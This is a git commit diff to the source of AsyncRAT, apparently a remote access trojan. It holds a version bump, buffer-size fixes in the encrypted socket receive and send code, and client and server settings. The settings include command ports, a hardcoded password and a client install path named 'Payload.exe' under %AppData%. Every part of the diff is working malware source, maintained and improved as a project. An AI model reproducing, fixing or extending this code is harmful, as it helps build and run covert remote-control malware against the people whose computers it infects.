This commit is contained in:
NYAN CAT 2019-03-29 13:17:13 -07:00
parent c004993293
commit 6557356a14
5 changed files with 10 additions and 11 deletions

View File

@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp
public static List<Clients> Online = new List<Clients>(); public static List<Clients> Online = new List<Clients>();
public static List<string> Blocked = new List<string>(); public static List<string> Blocked = new List<string>();
public static string Port = "6606,7707,8808"; public static string Port = "6606,7707,8808";
public static readonly string Version = "AsyncRAT 0.2.8"; public static readonly string Version = "AsyncRAT 0.2.8A";
public static long Sent = 0; public static long Sent = 0;
public static long Received = 0; public static long Received = 0;
public static string Password = "NYAN CAT"; public static string Password = "NYAN CAT";

View File

@ -64,7 +64,7 @@ namespace AsyncRAT_Sharp.Sockets
MS = new MemoryStream(); MS = new MemoryStream();
if (Buffersize > 0) if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize - 1]; Buffer = new byte[Buffersize];
BufferRecevied = true; BufferRecevied = true;
} }
} }
@ -80,7 +80,6 @@ namespace AsyncRAT_Sharp.Sockets
try try
{ {
HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray())); HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray()));
} }
catch (CryptographicException) catch (CryptographicException)
{ {
@ -153,8 +152,8 @@ namespace AsyncRAT_Sharp.Sockets
{ {
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
MEM.WriteAsync(buffersize, 0, buffersize.Length); MEM.Write(buffersize, 0, buffersize.Length);
MEM.WriteAsync(buffer, 0, buffer.Length); MEM.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null); Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MEM.Length; Settings.Sent += (long)MEM.Length;

View File

@ -9,7 +9,7 @@ namespace Client
{ {
public static readonly string Ports = "6606" ; public static readonly string Ports = "6606" ;
public static readonly string Host = "127.0.0.1" ; public static readonly string Host = "127.0.0.1" ;
public static readonly string Version = "AsyncRAT 0.2.8"; public static readonly string Version = "AsyncRAT 0.2.8A";
public static readonly string Install = "false"; public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Password = "NYAN CAT"; public static string Password = "NYAN CAT";

View File

@ -128,7 +128,7 @@ namespace Client.Sockets
MS = new MemoryStream(); MS = new MemoryStream();
if (Buffersize > 0) if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize - 1]; Buffer = new byte[Buffersize];
BufferRecevied = true; BufferRecevied = true;
} }
} }
@ -140,10 +140,10 @@ namespace Client.Sockets
if (MS.Length == Buffersize) if (MS.Length == Buffersize)
{ {
ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
Buffer = new byte[1]; Buffer = new byte[1];
Buffersize = 0; Buffersize = 0;
MS.Dispose();
MS = new MemoryStream();
BufferRecevied = false; BufferRecevied = false;
} }
else else